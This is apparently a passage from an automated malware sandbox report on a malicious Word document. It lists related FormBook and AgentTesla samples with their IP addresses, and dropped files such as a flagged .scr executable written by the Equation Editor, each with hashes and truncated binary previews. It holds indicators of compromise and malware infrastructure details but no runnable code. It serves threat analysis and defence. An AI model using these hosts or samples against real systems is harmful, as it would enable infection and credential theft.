	MOQ010524Purchase order.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
	NEW-ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	alhadani Aprilorders140424.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	AWB5889829680.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	Search.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.9.94.85
	PAY-0129.exe	Get hash	malicious	FormBook	Browse	194.9.94.86
	PgbcaAGOnA.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
LINODE-APLinodeLLCUS	https://update.greasyfork.org/scripts/465276/Quillbot%20Premium%20Unlocker.user.js	Get hash	malicious	Unknown	Browse	104.200.27.49
	APR0927,24.doc	Get hash	malicious	FormBook	Browse	45.33.6.223
	https://iamgold24-recruter.smartforum.xyz/	Get hash	malicious	Unknown	Browse	172.104.29.90
	#U0417#U0430#U043a#U0430#U0437 #U043d#U0430 #U0444#U0435#U0432#U0440#U0430#U043b#U044c.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	69.164.202.216
	#U0417#U0430#U043a#U0430#U0437 #U043d#U0430 #U043c#U0430#U0440#U0442.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	69.164.202.216
	Enquiry List.xls	Get hash	malicious	FormBook	Browse	45.33.6.223
	F24-005880.exe	Get hash	malicious	FormBook, GuLoader	Browse	139.162.5.234
	https://r.smtp.trigo-group.com/tr/cl/CBGKWYvZX69yjWPT37xjiRDs0ipDAaLpCa74PKuiDdx7ExEQuiEblFXTFKDc3blIDcAXwnYNApbw16f7wfP6wMMIKznDLhbdkS5jcYTG9wPXeTi8SAYRDRpKqChs5CNI-TO2z4Ri34kk3VpCF6JG3KZ0QqiZoRuQstlaMLYb_zUKzoaduInVMoj1kFoe6G9nZ8A-22oA2DIU1Nd5HKYnPYMoprzEjs25VEhkBeJp7yF_l7oEijW-k0fA46X841_7H9v91YXsYFXSiGj8KKjNhDc7m7su3uu4Way0uR9heCdQrJ_-kfuQao2bGVAbwvyORQVrw3-RfjmZlcrRWy6TppkilvzGDj0efH_xS7eHf2Cp-QXFysgkVoCmq11ssD87WnXg1G-9jKhqwlqcl9V6tnmrEDwVpAGo6k_VrxT2UzA8h1voM_JeZh5ipVaCCvF8mqIALBNkHkNAmM4JKQIeoK9EpBco73rkbiUNqm_eF0G3CwOyfNkEk_WmDedL8dUnpm-eeqyHdS-_7AC-bhEFGBP3dv130D2y_oLLXbljqpsYMI6_SW_3bzDvOPIrPwauy-B_Sk5foFtPDDso7hhtHuGA0_p6nmWayqq-QVLn_aKGKA	Get hash	malicious	Unknown	Browse	45.33.2.79
	ITEMS.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	45.33.6.223
	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	45.33.20.235
AS-26496-GO-DADDY-COM-LLCUS	v5GNrLZP9g.elf	Get hash	malicious	Mirai	Browse	160.153.92.164
	Remittance Advice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	148.66.136.151
	https://apollosonline.com/verified-sender.html	Get hash	malicious	HTMLPhisher	Browse	198.12.236.207
	https://36.54.167.72.host.secureserver.net/Tributaria/?Folio=ventanillaunica@sat.gob.mx	Get hash	malicious	Unknown	Browse	72.167.54.36
	SecuriteInfo.com.Win32.PWSX-gen.3657.16298.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	148.66.136.151
	https://kids-copybooks.us17.list-manage.com/track/click?u=5a97ab8972763fb865eff2c7b&id=17a683593e&e=91ca37f411	Get hash	malicious	Unknown	Browse	184.168.146.156
	BANK SWIFT.pdf_________________________________________________________________________.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	68.178.145.49
	r30%Downpayment.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	68.178.145.49
	opszx.scr.exe	Get hash	malicious	FormBook	Browse	198.12.241.35
	http://121.233.109.208.host.secureserver.net/34818248/8397605615	Get hash	malicious	Unknown	Browse	208.109.233.121

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6b0dc43f177fcd6d2946d55121243d1b	PURCHASE ORDER_REQUEST.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	PDFCreator-5_1_2-Setup.exe	Get hash	malicious	Unknown	Browse	104.21.74.191
	Rechnungszahlung.xls	Get hash	malicious	Hidden Macro 4.0, Emotet	Browse	104.21.74.191
	case (2553).xls	Get hash	malicious	Unknown	Browse	104.21.74.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\sqlite3.dll	F9DB076BD8F99C606CDAE2D6EB5F4EC112A705CF28513.exe	Get hash	malicious	Petite Virus, PureLog Stealer, Raccoon Stealer v2	Browse
	xPqfO9S4OX.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	ANY0GXX69f.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	XkcTT1Rdow.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	p95oYhg20N.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	Lwpqjy7Pvm.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	U3hMKK4NnP.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	sjvRXEMjOO.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	916ce2nhHG.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse
	g1sXTyvXiR.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1273344
Entropy (8bit):	6.998944839494362
Encrypted:	false
SSDEEP:	12288:JSu1SlCLvMZmeIlVOoLrIivhk9dqxCygRuJi2pkU5BD8db8FO/f/8RVad7WTpnbK:JSu1S82mBVrIiudqHsLBj8RCqiAAS7C
MD5:	ED7336086B1E5267C0D4863325956BE2
SHA1:	873B53CB68255E8A4F1AF53C0682C14E31FF530D
SHA-256:	598C9EE3A50B02B46197C90C5B4B01542225DD6A38059B32E326930A2798C496
SHA-512:	6FD10E951C207A1A9A54F6F24A570F2C1C232EAD3D5C08A5A506CB934C8D3758EF9701FAA2D6B425B5D34A2DB20605344A98D15C91203BE4DBB6DA7AD5521E5E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2>+..........."...0..b..........>.... ........@.. ....................................`....................................W.......:............................................................................ ............... ..H............text...Da... ...b.................. ..`.rsrc...:............d..............@..@.reloc...............l..............@..B................ .......H.......`...............hm...v..........................................b...............%...$...&.......o...............................^...o...........b.......S.......5..."...............................................................................................................................................^...o...................................^...o...........<...[...y.......................1...O...n...................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sqlite-dll-win32-x86-3210000[1].zip

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	446183
Entropy (8bit):	7.998782571983681
Encrypted:	true
SSDEEP:	6144:mrysnGZ0I/RI2TOHAYJRegqc1KNZZ1jyxFyfFemMiId1LPhqW8UdaFEByP4FVeK:mm+4ZI2Kgk3ID1Ujxd1rhtsFEggDeK
MD5:	C42EC8F35C6A06666E6AD54471A2728B
SHA1:	C3CC57A816927FA616616939B4B7A63C2322CFA1
SHA-256:	22BB304AAB3EC7A51FC4DC7749F304BBE01C5EC014144FBC8F86012DC3B0708B
SHA-512:	6FE9A3C3F861663B6408FD5136D202835A89344072996DD65DDA14FA04707662A26D0C6ED482FD0606A270943112D9EFFC07424AF90621094F6FBB88C8FF7EAE
Malicious:	false
Reputation:	low
Preview:	PK..........YK..A.............sqlite3.defUT...L..YL..Yux.........d.......(...y.d....r.Tv.{sa,......=3O.......>..B..............$...&.L....T...1..?..5.<....iUF.KO....b.>sU8...0[.....Y.Y.y$..p..8k.L.u+...5'.pb....I.D..)...t....!;....:....[....}u.t....#..Hj.#{...Xz2~us..C..L.a.M..`P;..\| .......96b.. \.&...t.Y.....Z...N.`......nx(..s$..x.P..".Y..,h...H.>.qX.'#x.T.F.x.Txf.e.M.. .q.nW...iNF.D"....o.d.v.U...Qv(....c..D.=.....`........i.k.4.&^..5F.*..eA.....\|..9.l.K.M..~............fI.;...f.1:....).K)\.....`r.[.4>..[Z.\|..7.A..hE.Hm.rR..._p.R6.t.I.0y.['..#.Nx.I..7.K .P9......]..G...l.N..1.&...>......T} L.\.Kbu.=..c.`,.B.y.^.........G[A...{par...?..q6v^.aO..d-...O.[.v~....N$...$0...^.v...)T.+-..p.k.=.D...3"3`=Ha......,..1.F..7... .$z.H..z.c."k..9g'...p.-..2Y.A.z.....;..M9@el............~.U&q.........f-.K.cke.]..b.Xw..o).X.a.cq;.`.Ljy.....t.W.w...8.{.b.%.6n...t........R.WT8........E..q!......x...:...g..K...>...I-N.y.....{k..5...7]..v.......{....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0C4DC952-54A3-4600-8ADF-E33FC95BF851}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4009DDD1-DB1C-41CE-A293-A5E46E715DCE}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3586208805849453
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbO:IiiiiiiiiifdLloZQc8++lsJe1MzJn
MD5:	7CE7D5599215ABDE85A649E974C7FBC1
SHA1:	40E6C71933CF177328D69453D54139319E2E54E8
SHA-256:	3F84EDCFED8F306D93910370374FB2D7D9BE669E6665262481E052AD84E0284E
SHA-512:	9C99FD0AA8ACDD6615289406906D754963B747DD850EDD7EB0E72B473D8C1308A60C82ED75AEAE0E2914E43C5A068B2ED209D0B2C986894148B9311C84AB45B5
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{48E7344B-2A3F-40E3-AC6B-5E4E921F9721}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{981FE0D2-48D8-4361-916E-6E4409D92C4F}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	3.566373636331511
Encrypted:	false
SSDEEP:	768:zgI2Q5Q6IQXwvW5Kq2g05gI2Q5Q6IQXwvW5Kq2g05gI2Q5Q6IQXwvW5Kq2g05gIv:YSyemuSyemuSyemuSyemuSyem7hc2PTF
MD5:	F8B41099C1DE7E7B6E71EEFC11566EDE
SHA1:	8E3127088A057285B17635311FC040621477DD95
SHA-256:	19128DE729852483DD9901EF01F47553D8D350CC8EADF6E85C575229D56C1B18
SHA-512:	25F544A2974D81F69FB8BBE891BD5BBDF7E05DCC5DC93F587C2F086262902B7D1C13250F778A4DB654FA56C2B18F584D2ED7441B323EC84A42B16449ECC8A177
Malicious:	false
Preview:	1.4.4.7.9.2.1.5.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Temp\13d6pS3

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.0714656887192844
Encrypted:	false
SSDEEP:	96:LSe7mlcwilGc7Ha3f+uG01YLvqAogv5KzzUG+Qk/BuqBFzsCWo3qkrH1VumgXn:LscflGwucCaM0f6kL1Vumi
MD5:	9867F6F82F226DE748557B47C82BE25D
SHA1:	B10DE25FA81662E082C60C8700E348C19AE7404B
SHA-256:	CCB153269D92EC65916497E01D0E63A4A61767603EBB226FFD35DCC983B62A55
SHA-512:	25917CB9C6632DB1F75C80CC6D64077EF742F6A6F2134DAB7D8DEFEB4DA10040A91B98A03560DDBF6A096E2ADC8CF496902E54877665B9E1C5542397C889E214
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abr0vjm0.zip

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	446183
Entropy (8bit):	7.998782571983681
Encrypted:	true
SSDEEP:	6144:mrysnGZ0I/RI2TOHAYJRegqc1KNZZ1jyxFyfFemMiId1LPhqW8UdaFEByP4FVeK:mm+4ZI2Kgk3ID1Ujxd1rhtsFEggDeK
MD5:	C42EC8F35C6A06666E6AD54471A2728B
SHA1:	C3CC57A816927FA616616939B4B7A63C2322CFA1
SHA-256:	22BB304AAB3EC7A51FC4DC7749F304BBE01C5EC014144FBC8F86012DC3B0708B
SHA-512:	6FE9A3C3F861663B6408FD5136D202835A89344072996DD65DDA14FA04707662A26D0C6ED482FD0606A270943112D9EFFC07424AF90621094F6FBB88C8FF7EAE
Malicious:	false
Preview:	PK..........YK..A.............sqlite3.defUT...L..YL..Yux.........d.......(...y.d....r.Tv.{sa,......=3O.......>..B..............$...&.L....T...1..?..5.<....iUF.KO....b.>sU8...0[.....Y.Y.y$..p..8k.L.u+...5'.pb....I.D..)...t....!;....:....[....}u.t....#..Hj.#{...Xz2~us..C..L.a.M..`P;..\| .......96b.. \.&...t.Y.....Z...N.`......nx(..s$..x.P..".Y..,h...H.>.qX.'#x.T.F.x.Txf.e.M.. .q.nW...iNF.D"....o.d.v.U...Qv(....c..D.=.....`........i.k.4.&^..5F.*..eA.....\|..9.l.K.M..~............fI.;...f.1:....).K)\.....`r.[.4>..[Z.\|..7.A..hE.Hm.rR..._p.R6.t.I.0y.['..#.Nx.I..7.K .P9......]..G...l.N..1.&...>......T} L.\.Kbu.=..c.`,.B.y.^.........G[A...{par...?..q6v^.aO..d-...O.[.v~....N$...$0...^.v...)T.+-..p.k.=.D...3"3`=Ha......,..1.F..7... .$z.H..z.c."k..9g'...p.-..2Y.A.z.....;..M9@el............~.U&q.........f-.K.cke.]..b.Xw..o).X.a.cq;.`.Ljy.....t.W.w...8.{.b.%.6n...t........R.WT8........E..q!......x...:...g..K...>...I-N.y.....{k..5...7]..v.......{....

C:\Users\user\AppData\Local\Temp\hrzxgdw.zip

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.950041292189224
Encrypted:	false
SSDEEP:	3:8ROAyR0e0qHXbvx9McfwF0GFS77uR2MBJJULZIlV/4FXFAIuJFXhXWNqL:AeR0eRHXLxytcu1Hlld4zGbeqL
MD5:	C631DB134F4EF9BFCEE837A10FD0224C
SHA1:	6C9DAD1A2E80EA650C7E96FD8074DDF9E6EE54F6
SHA-256:	1A3BE7D5762AD52C9D0AA21E4A48FF3CAE363ECF59CC51E45E4E8229D3E41006
SHA-512:	12520242F0D5EF414A17DF9800DBA6AA0604E702C1BBC67F75572191FAC0021D1BE25FD0FC33E0F4AF1EC0A1F4D0A38F62EBE5CF8E25AD647143B75DD4689DAA
Malicious:	false
Preview:	<head><title lineno="380">Not Found</title></head>.<body><h1>Document Not Found</h1>.The document /2021/sqlite-dll-win32-x86-3340000.zip is not available on this server.</body>.

C:\Users\user\AppData\Local\Temp\sqlite3.def

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5099
Entropy (8bit):	4.34628563675731
Encrypted:	false
SSDEEP:	96:GcuN/gR+7Oc0XRMcCM3KOGOF++BlMtvr9NHY0ac:E/Q+7Oc0JKOBF++Evr9NHcc
MD5:	248209B7183B5D5B667DFD77EE847763
SHA1:	69B2CA31C9656E2B9BBB5A04CDB61047BED37F50
SHA-256:	9FB7168694EBFA19383DE44AC8AA1B5341DEA5FC228DC7CCE8008C643807FDCE
SHA-512:	108963CAFD9BC58FE0ACFB0A74D499549C275C523CB3E29ED4FA762DE0EBF9985B94AF414E29755808C5A19EBDDAA943B9DE8F68F7BD490145CE68DC6CCB7067
Malicious:	false
Preview:	EXPORTS.sqlite3_aggregate_context.sqlite3_aggregate_count.sqlite3_auto_extension.sqlite3_backup_finish.sqlite3_backup_init.sqlite3_backup_pagecount.sqlite3_backup_remaining.sqlite3_backup_step.sqlite3_bind_blob.sqlite3_bind_blob64.sqlite3_bind_double.sqlite3_bind_int.sqlite3_bind_int64.sqlite3_bind_null.sqlite3_bind_parameter_count.sqlite3_bind_parameter_index.sqlite3_bind_parameter_name.sqlite3_bind_pointer.sqlite3_bind_text.sqlite3_bind_text16.sqlite3_bind_text64.sqlite3_bind_value.sqlite3_bind_zeroblob.sqlite3_bind_zeroblob64.sqlite3_blob_bytes.sqlite3_blob_close.sqlite3_blob_open.sqlite3_blob_read.sqlite3_blob_reopen.sqlite3_blob_write.sqlite3_busy_handler.sqlite3_busy_timeout.sqlite3_cancel_auto_extension.sqlite3_changes.sqlite3_clear_bindings.sqlite3_close.sqlite3_close_v2.sqlite3_collation_needed.sqlite3_collation_needed16.sqlite3_column_blob.sqlite3_column_bytes.sqlite3_column_bytes16.sqlite3_column_count.sqlite3_column_database_name.sqlite3_column_database_name16.sqlite3_colum

C:\Users\user\AppData\Local\Temp\sqlite3.dll

Download File

Process:	C:\Windows\SysWOW64\dfrgui.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	852754
Entropy (8bit):	6.503318968423685
Encrypted:	false
SSDEEP:	12288:fpFFQV+FKJ37Dm+yY4pBkPr2v2meLaoHN/oBrZ3ixdnGVzpJXm/iN:fpnzFw37iDYIBkzuPcHNgrZ3uGVzm/iN
MD5:	07FB6D31F37FB1B4164BEF301306C288
SHA1:	4CB41AF6D63A07324EF6B18B1A1F43CE94E25626
SHA-256:	06DDF0A370AF00D994824605A8E1307BA138F89B2D864539F0D19E8804EDAC02
SHA-512:	CAB4A7C5805B80851ABA5F2C9B001FABC1416F6648D891F49EACC81FE79287C5BAA01306A42298DA722750B812A4EA85388FFAE9200DCF656DD1D5B5B9323353
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: F9DB076BD8F99C606CDAE2D6EB5F4EC112A705CF28513.exe, Detection: malicious, Browse Filename: xPqfO9S4OX.exe, Detection: malicious, Browse Filename: ANY0GXX69f.exe, Detection: malicious, Browse Filename: XkcTT1Rdow.exe, Detection: malicious, Browse Filename: p95oYhg20N.exe, Detection: malicious, Browse Filename: Lwpqjy7Pvm.exe, Detection: malicious, Browse Filename: U3hMKK4NnP.exe, Detection: malicious, Browse Filename: sjvRXEMjOO.exe, Detection: malicious, Browse Filename: 916ce2nhHG.exe, Detection: malicious, Browse Filename: g1sXTyvXiR.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L..Y.,..v......!......... .....................a................................O}........ ......................................@.......................P..X0...........................0.......................................................text...............................`.P`.data...............................@.`..rdata..............................@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,.... ......................@.0..tls.... ....0......................@.0..rsrc........@......................@.0..reloc..X0...P...2..................@.0B/4...................&..............@.@B/19.................*..............@..B/31..........@......................@..B/45..........`......................@..B/57.................................@.0B/70.....i...............

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Doc PI.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:06 2023, mtime=Fri Aug 11 15:42:06 2023, atime=Mon May 20 05:53:33 2024, length=145966, window=hide
Category:	dropped
Size (bytes):	992
Entropy (8bit):	4.508300921847653
Encrypted:	false
SSDEEP:	12:8E2HI0gXg/XAlCPCHaXeBhB/BGFX+WiSUPoNVZEicvb+n7RZ+DtZ3YilMMEpxRlq:8EVk/XTOjbkZ+QZveQZ+Dv3qFMqk7N
MD5:	A819A559C4C08662A02B467079509621
SHA1:	2C559AEFA538BDC10AE3097077367E39283F5C8C
SHA-256:	D9B2E9FCB9583C786649BAEBF3B5EC5FDF0CC40C62B0CC162A1EA58F026B81E5
SHA-512:	719D9B72BACA6754C5E701410BC0867DE677AAF1DBCC039EB6E510E8ADBA89723F6B9EC15C7EE6CA16ACD8D17EA5BF993B613634779FC45879548467E136760E
Malicious:	false
Preview:	L..................F.... .......r.......r....p"n.....:...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X.6..user.8......QK.X.X.6...&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....\.2..:...X.6 .DOCPI~1.DOC.B.......WD..WD..........................D.o.c. .P.I...d.o.c.......t...............-...8...[............?J......C:\Users\..#...................\\618321\Users.user\Desktop\Doc PI.doc.!.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.D.o.c. .P.I...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......618321..........D_....3N...W...9.W.e8...8.....[D_....3N...W...9.W.e8...8.....[....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.333238314705634
Encrypted:	false
SSDEEP:	3:M1cGF1sLpzCm4US1sLpzCv:MeGPSzhGSzs
MD5:	9DC6125FFC7D8B4503A531CC61220C40
SHA1:	22124009E945FD72804BFE16FD8DB42EDA39D5BE
SHA-256:	359A0CEF804F64069EAD7F756723C64D06A1968879A412FA12F9136AFC6483D9
SHA-512:	4FEF5AC0734278B6290896DBB35841D46C3750961E9590FD045F2594CD1EED3B2889A88D62273E2322F14C9B71F98116AAE9FCFA73067DAE19A6BBD098998858
Malicious:	false
Preview:	[doc]..Doc PI.LNK=0..[folders]..Doc PI.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\loud89334.scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1273344
Entropy (8bit):	6.998944839494362
Encrypted:	false
SSDEEP:	12288:JSu1SlCLvMZmeIlVOoLrIivhk9dqxCygRuJi2pkU5BD8db8FO/f/8RVad7WTpnbK:JSu1S82mBVrIiudqHsLBj8RCqiAAS7C
MD5:	ED7336086B1E5267C0D4863325956BE2
SHA1:	873B53CB68255E8A4F1AF53C0682C14E31FF530D
SHA-256:	598C9EE3A50B02B46197C90C5B4B01542225DD6A38059B32E326930A2798C496
SHA-512:	6FD10E951C207A1A9A54F6F24A570F2C1C232EAD3D5C08A5A506CB934C8D3758EF9701FAA2D6B425B5D34A2DB20605344A98D15C91203BE4DBB6DA7AD5521E5E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2>+..........."...0..b..........>.... ........@.. ....................................`....................................W.......:............................................................................ ............... ..H............text...Da... ...b.................. ..`.rsrc...:............d..............@..@.reloc...............l..............@..B................ .......H.......`...............hm...v..........................................b...............%...$...&.......o...............................^...o...........b.......S.......5..."...............................................................................................................................................^...o...................................^...o...........<...[...y.......................1...O...n...................................................................

C:\Users\user\Desktop\~$Doc PI.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
